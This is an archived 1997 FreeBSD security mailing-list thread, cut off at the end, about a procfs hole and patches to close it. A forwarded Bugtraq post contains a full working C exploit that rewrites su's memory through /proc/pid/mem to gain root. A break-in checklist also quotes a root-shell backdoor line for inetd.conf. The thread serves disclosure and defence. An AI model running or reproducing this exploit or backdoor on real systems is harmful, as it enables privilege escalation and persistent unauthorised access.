>On Sun, 10 Aug 1997, Brian Mitchell wrote: >> any setuid program. As noted, the easiest way to avoid the problem is just >> to disable procfs -- nobody really uses it anyways. >Would anyone be willing to give a short explanation of the /proc >filesystem and what the original conception of it accomplished? procfs privodes a filesystem interface to the system processes. (I would say "process table," but it isn't a table in freebsd ;).) It is laid out as: /proc curproc/ / ctl etype file fpregs map mem note notepg regs status You can send signals by writing to ctl; you can find out what kind of executable it is by reading etype (e.g., "FreeBSD a.out"); regs and fpregs have the register set; map has the process' memory map, in ascii format; status has something similar to ps when you read it. mem is the process' memory space, and file is the vnode that the process is executing. Brian is wrong -- ps uses procfs, and I have two applications that use an extended procfs. Ideally, you could use procfs for a debugger. This has certain advantages over ptrace() -- ptrace is an *old* API, and lacking in certain ways. (Want to read more than one word at a time? Oops.) procfs first appeared in version 8, I think. It's standard in SysVr4. The FS code for procfs in BSD were written by Jan-Simon Pendry, and the memory guts were written by myself. It has languished for a while, due to my having to do other things, and being somewhat dispirited. I started changing that a couple of weeks ago. From owner-freebsd-security Mon Aug 11 11:52:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id LAA22835 for security-outgoing; Mon, 11 Aug 1997 11:52:47 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id LAA22815; Mon, 11 Aug 1997 11:52:40 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id WAA06268; Mon, 11 Aug 1997 22:52:25 +0400 (MSD) Date: Mon, 11 Aug 1997 22:52:23 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net Reply-To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= To: Sean Eric Fagan cc: FreeBSD-current , security@FreeBSD.ORG, Bruce Evans Subject: Re: procfs patch In-Reply-To: <199708111521.IAA07362@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > >Comparing uids gains absolutely nothing. > > Yes, it does: it makes it useful. Useful for what? Even if they are equal at the moment you check it not means that program was not setuided before your check and have secret data in memory. > >The program can change uids many times and finaly do allowed combination. > >But "interesting" code or data from previous superuser mode can still left > >in the memory. > > My patch is no different than the situation with core files. If a process > has your UID, you can make it dump core, and then examine its data. This is > an extensio of that. As I already write you, it is false in general case. If program was setuided, you can't make core from it even it runs with your UID currently. I don't see an extension here but old security hole (core-like one) reopening as I warn already. > Gosh, that's what I had originally, and everyone didn't like *that*. > (Frankly, neither did I.) Now I like Bruce's idea that exec call should fail if procfs memory is open and setuid program is executed. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-security Mon Aug 11 12:11:45 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA23685 for security-outgoing; Mon, 11 Aug 1997 12:11:45 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id MAA23678; Mon, 11 Aug 1997 12:11:40 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id MAA23776; Mon, 11 Aug 1997 12:11:26 -0700 Date: Mon, 11 Aug 1997 12:11:26 -0700 From: Sean Eric Fagan Message-Id: <199708111911.MAA23776@kithrup.com> To: ache@nagual.pp.ru, bde@zeta.org.au, current@freebsd.org, security@freebsd.org Subject: Re: procfs patch Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk >Useful for what? Even if they are equal at the moment you check it not >means that program was not setuided before your check and have secret data >in memory. Why are people having such a hard time reading the code? (Well, Bruce has -- I disagree with his objections, but he *has* read teh code, and does seem to understand what's going on.) The only "secret data" you have in memory after an exec would be file descriptors, and environment data. You can get the environment data by sending a core-dumping signal to the process. You can attach to it with ptrace(). You can read its memory with /proc//mem. THe process does not have P_SUGID set. Because it has done an exec since the last setuid/setgid. THis is clear if you read the kernel code. >> My patch is no different than the situation with core files. If a process >> has your UID, you can make it dump core, and then examine its data. This is >> an extensio of that. > >As I already write you, it is false in general case. If program was >setuided, you can't make core from it even it runs with your UID >currently. I don't see an extension here but old security hole (core-like >one) reopening as I warn already. Consider this: you run suid program it does some stuff, then sesetuid's to you it then exec's a program, as you You can make that last program core dump. Got it? It can core dump. It can core dump. It can core dump. I don't like repeating myself, but people don't seem to be reading. In teh above case, with my procfs changes, you cannot read the suid program's memory. YOu cannot read the suid program's memory after it setuid's to you. YOu can read the last program's memory. This is no worse than the core dump case. Because you can make it core dump, because it is you, and P_SUGID is not set. If you *read* the code I sent out, you'll see that it checks for P_SUGID being set, and fails (assuming the requesting process is not suser()). Is that clear yet? Do I need to repeat myself again? (Yes, I'm getting frustrated here.) >Now I like Bruce's idea that exec call should fail if procfs memory is >open and setuid program is executed. I don't. I hate it. It's bad. It makes things difficult for programs that want to use this. It is also unnecessary -- my changes do not have that particular hole. (IT's bad because it fails the principle of least surprise. You can't really argue "traditional unix semantics," because procfs was not in traditional unix. You can try arguing what SysVr4 does, but I'm not sure what that is. You can try arguing security -- but you'd darned well better be prepared to fix *everything* then, and not just spot check. You can try using traditional unix semantics as a guideline, and that's what I've done, in both this case and the rfork/exec case. And that boils down to: useability and principle of least surprise.) Once again: my procfs changes, for the most part, are no worse than core dumping. So, Andrey, why don't you go around demanding that core dumps be completely disabled. When you do that, I'll start to have some respect for your position; until then, you're just going to impress me as someone who hasn't read teh code I sent out. Is there still a security risk? Yes. It's very slight, and I can argue that most of the cases it matters are bad programming anyway. But it's there. But it is there without procfs, in the form of PT_ATTACH in ptrace. ANd much of it is there with core dumps. Sean. From owner-freebsd-security Mon Aug 11 12:34:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA24877 for security-outgoing; Mon, 11 Aug 1997 12:34:19 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA24867; Mon, 11 Aug 1997 12:34:12 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA23926; Mon, 11 Aug 1997 15:31:58 -0400 (EDT) Date: Mon, 11 Aug 1997 15:31:58 -0400 (EDT) From: Brian Mitchell To: Sean Eric Fagan cc: ache@nagual.pp.ru, bde@zeta.org.au, current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: <199708111545.IAA08497@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > >Just close the procfs file descriptors on exec? > > I thought about doing that. But I decided it was both too invasive, and too > bothersome -- a root process would gets its fd's close, and it probably > shouldn't. Maybe not. If you are root and execute a setuid program, is P_SUGID set? I would think not, but I have not checked. > > As I said, what I've got now should provide no more risks than dumping core > does. Well, it allows for some greater control -- my truss program is not > SUID root, and needs to be able to read process memory. But since the > process should be owned by the user, I don't have a problem with it. > > Sean. > Now -- how about disallowing access if the binary is unreadable :) From owner-freebsd-security Mon Aug 11 12:36:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id MAA25085 for security-outgoing; Mon, 11 Aug 1997 12:36:46 -0700 (PDT) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id MAA25061; Mon, 11 Aug 1997 12:36:29 -0700 (PDT) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id PAA23907; Mon, 11 Aug 1997 15:29:20 -0400 (EDT) Date: Mon, 11 Aug 1997 15:29:20 -0400 (EDT) From: Brian Mitchell To: Sean Eric Fagan cc: ache@nagual.pp.ru, current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: <199708111521.IAA07362@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > >I think any access to memory must be disallowed immediately after exec of > >setuid program issued by user (not setuid root) program. I.e. exec call > >must set some flag (in struct proc?) disabling procfs access and procfs > >call need to check this flag only. > > Gosh, that's what I had originally, and everyone didn't like *that*. > (Frankly, neither did I.) Yes, I advise everyone to try just denying access when P_SUGID is enabled. This is what my patch does, and it is simply unacceptable. I'm not sure sef's patch is perfect, but it's not bad. As for the kmem stuff, I originally did not like that, but look at the perms on the mem device! It allows kmem to be readable. I think we should duplicate those perms whenever possible. Granted this allows people who have managed to break gid kmem to look at privledged data (shadow files is one big example I can think of) it is certainly better than nothing. Besides. if they have gid kmem, they can do the exact same thing by munging through /dev/kmem, so denying them proc/#/mem is not a real big win in my book. There is a situation where we could get into trouble, although I don't think it occurs. exec suid program setuid(0) exec non suid program I don't know that this occurs anywhere, but things like this concern me and leave me wondering if perhaps we should revoke the fd(s) when we execute a setuid program. From owner-freebsd-security Mon Aug 11 13:21:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id NAA27597 for security-outgoing; Mon, 11 Aug 1997 13:21:59 -0700 (PDT) Received: from server.local.sunyit.edu (A-T34.rh.sunyit.edu [150.156.210.241]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id NAA27582; Mon, 11 Aug 1997 13:21:54 -0700 (PDT) Received: from localhost (perlsta@localhost) by server.local.sunyit.edu (8.8.5/8.8.5) with SMTP id PAA11196; Mon, 11 Aug 1997 15:26:28 GMT X-Authentication-Warning: server.local.sunyit.edu: perlsta owned process doing -bs Date: Mon, 11 Aug 1997 15:26:28 +0000 (GMT) From: Alfred Perlstein X-Sender: perlsta@server.local.sunyit.edu To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= cc: Sean Eric Fagan , FreeBSD-current , security@FreeBSD.ORG, Bruce Evans Subject: Re: procfs patch In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Gosh, that's what I had originally, and everyone didn't like *that*. > > (Frankly, neither did I.) > > Now I like Bruce's idea that exec call should fail if procfs memory is > open and setuid program is executed. why not have procfs check the UID of the file everytime an access is made VS the UID of the accessing program and denying access at that point? Alfred From owner-freebsd-security Mon Aug 11 14:46:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id OAA01891 for security-outgoing; Mon, 11 Aug 1997 14:46:50 -0700 (PDT) Received: from lsd.relcom.eu.net (ache@lsd.relcom.eu.net [193.124.23.23]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id OAA01875; Mon, 11 Aug 1997 14:46:42 -0700 (PDT) Received: (from ache@localhost) by lsd.relcom.eu.net (8.8.7/8.8.7) id BAA08850; Tue, 12 Aug 1997 01:46:33 +0400 (MSD) Date: Tue, 12 Aug 1997 01:46:32 +0400 (MSD) From: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= X-Sender: ache@lsd.relcom.eu.net To: Sean Eric Fagan cc: bde@zeta.org.au, current@FreeBSD.ORG, security@FreeBSD.ORG Subject: Re: procfs patch In-Reply-To: <199708111911.MAA23776@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > Consider this: > > you run suid program > it does some stuff, then sesetuid's to you > it then exec's a program, as you > > You can make that last program core dump. Got it? It can core dump. It > can core dump. It can core dump. At this point you just not make clear enough in your previous postings that _exec_ happens between setuid and core dump, it cause Marc's and my confusion. -- Andrey A. Chernov http://www.nagual.pp.ru/~ache/ From owner-freebsd-security Mon Aug 11 15:46:19 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id PAA05528 for security-outgoing; Mon, 11 Aug 1997 15:46:19 -0700 (PDT) Received: from rocky.mt.sri.com (rocky.mt.sri.com [206.127.76.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id PAA05518 for ; Mon, 11 Aug 1997 15:46:13 -0700 (PDT) Received: (from nate@localhost) by rocky.mt.sri.com (8.7.5/8.7.3) id QAA03222; Mon, 11 Aug 1997 16:45:50 -0600 (MDT) Date: Mon, 11 Aug 1997 16:45:50 -0600 (MDT) Message-Id: <199708112245.QAA03222@rocky.mt.sri.com> From: Nate Williams MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit To: =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= Cc: security@freebsd.org Subject: Re: procfs patch In-Reply-To: References: <199708111911.MAA23776@kithrup.com> X-Mailer: VM 6.29 under 19.15 XEmacs Lucid Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk =?KOI8-R?B?4c7E0sXKIP7F0s7P1w==?= writes: > On Mon, 11 Aug 1997, Sean Eric Fagan wrote: > > > Consider this: > > > > you run suid program > > it does some stuff, then sesetuid's to you > > it then exec's a program, as you > > > > You can make that last program core dump. Got it? It can core dump. It > > can core dump. It can core dump. > > At this point you just not make clear enough in your previous postings > that _exec_ happens between setuid and core dump, it cause Marc's and my > confusion. RTFS. Nate From owner-freebsd-security Mon Aug 11 19:55:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id TAA20806 for security-outgoing; Mon, 11 Aug 1997 19:55:26 -0700 (PDT) Received: from tok.qiv.com ([204.214.141.211]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id TAA20801 for ; Mon, 11 Aug 1997 19:55:23 -0700 (PDT) Received: (from uucp@localhost) by tok.qiv.com (8.8.6/8.8.5) with UUCP id VAA29635 for security@freebsd.org; Mon, 11 Aug 1997 21:55:18 -0500 (CDT) Received: from localhost (jdn@localhost) by acp.qiv.com (8.8.6/8.8.5) with SMTP id VAA01847 for ; Mon, 11 Aug 1997 21:54:41 -0500 (CDT) X-Authentication-Warning: acp.qiv.com: jdn owned process doing -bs Date: Mon, 11 Aug 1997 21:54:41 -0500 (CDT) From: "Jay D. Nelson" To: security@freebsd.org Subject: Yet another proc question In-Reply-To: <199708111532.IAA08173@kithrup.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Sean, you had mentioned that ps uses /proc. I simply unmounted /proc and ps, w, etc. seem to work just fine -- at least with the flags I use all the time. What practical benefit is there to the proc filesystem on a production machine? -- Jay From owner-freebsd-security Mon Aug 11 20:06:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA21544 for security-outgoing; Mon, 11 Aug 1997 20:06:07 -0700 (PDT) Received: from wiz.plymouth.edu (wiz.plymouth.edu [158.136.154.100]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA21532 for ; Mon, 11 Aug 1997 20:06:03 -0700 (PDT) Received: (from ted@localhost) by wiz.plymouth.edu (8.8.5/8.8.2) id XAA26307 for freebsd-security@freebsd.org; Mon, 11 Aug 1997 23:04:40 -0400 (EDT) From: Ted Wisniewski Message-Id: <199708120304.XAA26307@wiz.plymouth.edu> Subject: FW: procfs hole (fwd) To: freebsd-security@freebsd.org Date: Mon, 11 Aug 1997 23:04:40 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I do not read this list... I want to be sure that someone was aware of this.. I have tested it myself and the only immediate cure is to not mount the /proc filesystem..... I would encourage anyone with it mounted to unmounted it (unless a patch is available to fix the problem).. Below is the original message and exploit. -----Original Message----- From: Brian Mitchell [SMTP:brian@FIREHOUSE.NET] Sent: Sunday, August 10, 1997 5:38 AM To: BUGTRAQ@NETSPACE.ORG Subject: procfs hole There is a major hole in procfs under FreeBSD 2.2.1 (2.1 is not affected, I have not tested 3.x but I believe it to be vulnerable as well) along with OpenBSD (not tested by me, but by someone else -- believe it was 2.1-RELEASE although obsd doesnt mount procfs by default like freebsd does). The problem is all proc/#/mem access is controlled by the permissions on the file. This means you can fork() open the childs mem device and then have the child execute a setuid executable. Once this is done, you can modify the setuid executables memory -- even segments that are supposed to be nonwritable can be modified. Enclosed is a simple exploit tested under FreeBSD 2.2.1 -- beware, this exploit is slow because it searches memory for a specific signature. Oh, you need to change your shell to a borneish shell too, since csh/tcsh will not work when euid != ruid (unless passed a -b script argument). BSDI is also believed to be vulnerable. Unfortunately, not only is procfs not mounted, it is not even in the GENERIC kernel. #include #include #include #include #include u_char search_code[13] = { 0x8d, 0x05, 0x17, 0x00, 0x00, 0x00, /* leal 0x17, %eax */ 0x9a, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00}; /* lcall 7,0 */ /* just do a xor %eax, %eax and then a ret */ u_char new_code[] = { 0x31, 0xc0, 0xc3}; main(int argc, char **argv) { int pid; int fd; char buff[40]; char *user; /* might need to tweak these */ u_int offset=0x8003000; u_int offset_end = 0x8099000; if(argc < 2) { fprintf(stderr, "%s user\n", argv[0]); exit(1); } printf("Demonstration of 4.4BSD procfs hole\n"); printf("Brian Mitchell \n\n"); printf("after you see \"setuid changed\", enter the pw for the user\n"); printf("\aBe warned, searching for the setuid() function takes a long time!\n"); user=argv[1]; pid = fork(); switch(pid) { case -1: perror("fork"); exit(1); case 0: /* give parent time to open /proc/pid/mem */ sleep(3); execl("/usr/bin/su", "su", user, NULL); exit(0); default: sprintf(buff, "/proc/%d/mem", pid); fd = open(buff, O_RDWR); if(fd < 0) { perror("open procmem"); wait(NULL); exit(1); } /* wait for child to execute suid program */ sleep(6); /* stop the child */ kill(pid, 17); printf("searching - please be patient...\n"); /* search for the setuid code */ while(offset != offset_end) { lseek(fd, offset, SEEK_SET); read(fd, buff, 13); if(!bcmp(buff, search_code, 13)) { lseek(fd, offset, SEEK_SET); write(fd, new_code, 3); printf("setuid changed (0x%x)\n", offset); /* sigcont child */ kill(pid, 19); wait(NULL); exit(0); } offset++; } printf("setuid not found!!\n"); kill(pid, 9); wait(NULL); exit(1); } } Brian Mitchell brian@firehouse.net "BSD code sucks. Of course, everything else sucks far more." - Theo de Raadt (OpenBSD President) -- | Ted Wisniewski INET: ted@oz.plymouth.edu | | Computer Services ted@wiz.plymouth.edu | | Plymouth State College tedw@psc.plymouth.edu | | Plymouth NH, 03264 HTTP: http://oz.plymouth.edu/~ted/ | From owner-freebsd-security Mon Aug 11 20:24:46 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id UAA22820 for security-outgoing; Mon, 11 Aug 1997 20:24:46 -0700 (PDT) Received: from eagle.aitken.com (jaitken@eagle.aitken.com [209.12.7.49]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id UAA22780 for ; Mon, 11 Aug 1997 20:24:37 -0700 (PDT) Received: (from jaitken@localhost) by eagle.aitken.com (8.8.5/8.8.5) id XAA27102 for freebsd-security@freebsd.org; Mon, 11 Aug 1997 23:24:35 -0400 From: Jeff Aitken Message-Id: <199708120324.XAA27102@eagle.aitken.com> Subject: post-break-in checklist? To: freebsd-security@freebsd.org Date: Mon, 11 Aug 1997 23:24:34 -0400 (EDT) X-Mailer: ELM [version 2.4ME+ PL26 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As I recall, someone posted a post-breakin-checklist awhile back (I seem to think it was Karl Denninger, but I'm not sure). Anyway, I neglected to save a copy of it, and was wondering if anyone had such a beast handy. As far as FreeBSD goes, I've got the CDs and know about mtree, but I'm looking for a more generic "these are the sorts of things to look for if you suspect a security violation" just to be sure I'm not overlooking anything. (FWIW, the machine(s) which were compromised have been reinstalled from scratch anyway). Additionally, where might I find a list of all "security" issuse since 2.2.2-R was released? I looked in ftp://freebsd.org/pub/CERT/advisories but only turned up 4 advisories from 1997, all of which were patched prior to the release of 2.2.2. -- Jeff Aitken jaitken@aitken.com From owner-freebsd-security Mon Aug 11 21:21:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA26794 for security-outgoing; Mon, 11 Aug 1997 21:21:36 -0700 (PDT) Received: from kithrup.com (kithrup.com [205.179.156.40]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id VAA26788 for ; Mon, 11 Aug 1997 21:21:31 -0700 (PDT) Received: (from sef@localhost) by kithrup.com (8.6.8/8.6.6) id VAA28536; Mon, 11 Aug 1997 21:21:31 -0700 Date: Mon, 11 Aug 1997 21:21:31 -0700 From: Sean Eric Fagan Message-Id: <199708120421.VAA28536@kithrup.com> To: security@freebsd.org Subject: Re: Yet another proc question References: <199708111532.IAA08173@kithrup.com> Organization: Kithrup Enterprises, Ltd. Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In article you write: >Sean, you had mentioned that ps uses /proc. I simply unmounted /proc >and ps, w, etc. seem to work just fine -- at least with the flags I >use all the time. Perhaps you should look again -- no command line arguments are printed. For some people, that is acceptable. For others, it is not. >What practical benefit is there to the proc filesystem on a production >machine? ps. w. truss. Potentially, future versions of debuggers. Oh, well, truss isn't out yet. But it does work; I just checked the changes with my code, it still works. From owner-freebsd-security Mon Aug 11 21:22:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id VAA26823 for security-outgoing; Mon, 11 Aug 1997 21:22:33 -0700 (PDT) Received: from implode.root.com (implode.root.com [198.145.90.17]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id VAA26818 for ; Mon, 11 Aug 1997 21:22:29 -0700 (PDT) Received: from implode.root.com (localhost [127.0.0.1]) by implode.root.com (8.8.5/8.8.5) with ESMTP id VAA23465; Mon, 11 Aug 1997 21:24:47 -0700 (PDT) Message-Id: <199708120424.VAA23465@implode.root.com> To: "Jay D. Nelson" cc: security@FreeBSD.ORG Subject: Re: Yet another proc question In-reply-to: Your message of "Mon, 11 Aug 1997 21:54:41 CDT." From: David Greenman Reply-To: dg@root.com Date: Mon, 11 Aug 1997 21:24:47 -0700 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >Sean, you had mentioned that ps uses /proc. I simply unmounted /proc >and ps, w, etc. seem to work just fine -- at least with the flags I >use all the time. > >What practical benefit is there to the proc filesystem on a production >machine? procfs is used to get the command arguments. -DG David Greenman Core-team/Principal Architect, The FreeBSD Project From owner-freebsd-security Tue Aug 12 05:35:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA18930 for security-outgoing; Tue, 12 Aug 1997 05:35:27 -0700 (PDT) Received: from platon.man.lublin.pl (hero@platon.man.lublin.pl [192.147.37.103]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA18925 for ; Tue, 12 Aug 1997 05:35:22 -0700 (PDT) Received: from localhost (hero@localhost) by platon.man.lublin.pl (8.8.6/8.8.6) with SMTP id OAA21149 for ; Tue, 12 Aug 1997 14:36:32 +0200 Date: Tue, 12 Aug 1997 14:36:32 +0200 (MET DST) From: Henryk Czapski To: security@FreeBSD.ORG Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk unsubscribe From owner-freebsd-security Tue Aug 12 07:12:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA23686 for security-outgoing; Tue, 12 Aug 1997 07:12:11 -0700 (PDT) Received: from firewall.ftf.dk (root@[129.142.64.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA23680 for ; Tue, 12 Aug 1997 07:12:06 -0700 (PDT) Received: from mail.prosa.dk ([192.168.100.2]) by firewall.ftf.dk (8.7.6/8.7.3) with ESMTP id QAA00037; Tue, 12 Aug 1997 16:38:23 +0200 Received: from deepo.prosa.dk (deepo.prosa.dk [192.168.100.10]) by mail.prosa.dk (8.8.5/8.8.5/prosa-1.1) with ESMTP id QAA14102; Tue, 12 Aug 1997 16:13:09 +0200 (CEST) Received: (from regnauld@localhost) by deepo.prosa.dk (8.8.5/8.8.5/prosa-1.1) id QAA18277; Tue, 12 Aug 1997 16:11:07 +0200 (CEST) Message-ID: <19970812161107.40226@deepo.prosa.dk> Date: Tue, 12 Aug 1997 16:11:07 +0200 From: Philippe Regnauld To: Jeff Aitken Cc: freebsd-security@FreeBSD.ORG Subject: Re: post-break-in checklist? References: <199708120324.XAA27102@eagle.aitken.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Description: Main Body X-Mailer: Mutt 0.69 In-Reply-To: <199708120324.XAA27102@eagle.aitken.com>; from Jeff Aitken on Mon, Aug 11, 1997 at 11:24:34PM -0400 X-Operating-System: FreeBSD 2.2.1-RELEASE i386 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Jeff Aitken writes: > As I recall, someone posted a post-breakin-checklist awhile back (I > seem to think it was Karl Denninger, but I'm not sure). Anyway, I > neglected to save a copy of it, and was wondering if anyone had such > a beast handy. Don't have that list handy. But from experience: 1) be paranoid. 2a) take the machine off the network right away 2b) take it down to single user mode 3) change all your passwords or close accounts until you can have users change their passwords 4) find all setuid/setgid binaries and compare against a recent backup (you have a backup, don't you ?) or against another installation/ media (the 2nd FreeBSD CD-Rom is perfect for this). Comparing doesn't just mean size and date, run a checksum (md5) for each. You can hack up a 5 line perl script that will run this for you. 5) check every binary on your system, even not setuid -- even 'ls' can be trapped the next time you run it as root 6) inspect /etc/inetd.conf for unusual services, like: mysh stream tcp nowait root /bin/sh 7) check /etc/hosts.equiv and /root/.rhosts 8) check the configuration for anything new in the startup scripts 9) if you're still alive, check the configuration for daemons and servers (named, httpd, sshd, etc...) 10) recompile a fresh kernel 11 - bonus) install tripwire, swatch, etc... -- -- Phil -[ Philippe Regnauld / Systems Administrator / regnauld@deepo.prosa.dk ]- -[ Location.: +55.4N +11.3E PGP Key: finger regnauld@hotel.prosa.dk ]- From owner-freebsd-security Tue Aug 12 07:12:47 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA23717 for security-outgoing; Tue, 12 Aug 1997 07:12:47 -0700 (PDT) Received: from cwsys.cwent.com (66@cschuber.net.gov.bc.ca [142.31.240.113]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA23709; Tue, 12 Aug 1997 07:12:36 -0700 (PDT) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.7/8.6.10) id HAA01007; Tue, 12 Aug 1997 07:12:21 -0700 (PDT) Message-Id: <199708121412.HAA01007@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd001003; Tue Aug 12 14:12:14 1997 Reply-to: cy@uumail.gov.bc.ca X-Mailer: MH To: dg@root.com cc: Sean Eric Fagan , current@freebsd.org, security@freebsd.org Subject: Re: procfs patch In-reply-to: Your message of "Mon, 11 Aug 1997 02:53:05 PDT." <199708110953.CAA12034@implode.root.com> Date: Tue, 12 Aug 1997 07:12:13 -0700 From: Cy Schubert Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > >+ /* > >+ * XXX > >+ * We need to check for KMEM_GROUP because ps is sgid kmem; > >+ * not allowing it here causes ps to not work properly. Arguably, > >+ * this is a bug with what ps does. We only need to do this > >+ * for Pmem nodes, and only if it's reading. This is still not > >+ * good, as it may still be possible to grab illicit data if > >+ * a process somehow gets to be KMEM_GROUP. Note that this also > >+ * means that KMEM_GROUP can't change without editing procfs.h! > >+ * All in all, quite yucky. > >+ */ > >+ > >+ if (!CHECKIO(curp, p) && > >+ ((curp->p_cred->pc_ucred->cr_gid != KMEM_GROUP) && > >+ (uio->uio_rw != UIO_READ)) > >+ return EPERM; > > If I read this right, you allow reads, correct? This would allow access to > potentially sensitive information in the setuid process. If the above is > changed to fail no matter what the operation, I think your fix should be > okay. All this patch does, in addition to allowing the "standard" access list access, is allow KMEM_GROUP read access, so IMHO it's almost perfect. Could this be controllable via sysctl, which would be used at boot time with a one-line awk script to get kmem's gid and poke it into the kernel. If this is too risky, e.g. opens up a security hole that could be exploited in another way, we could make this definition, and others like it, as options in the kernel config file, thus allowing the values of special UID's and GID's to be configurable. Any thoughts? Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca cschuber@bcsc02.gov.bc.ca cy@uumail.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Tue Aug 12 07:53:27 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26184 for security-outgoing; Tue, 12 Aug 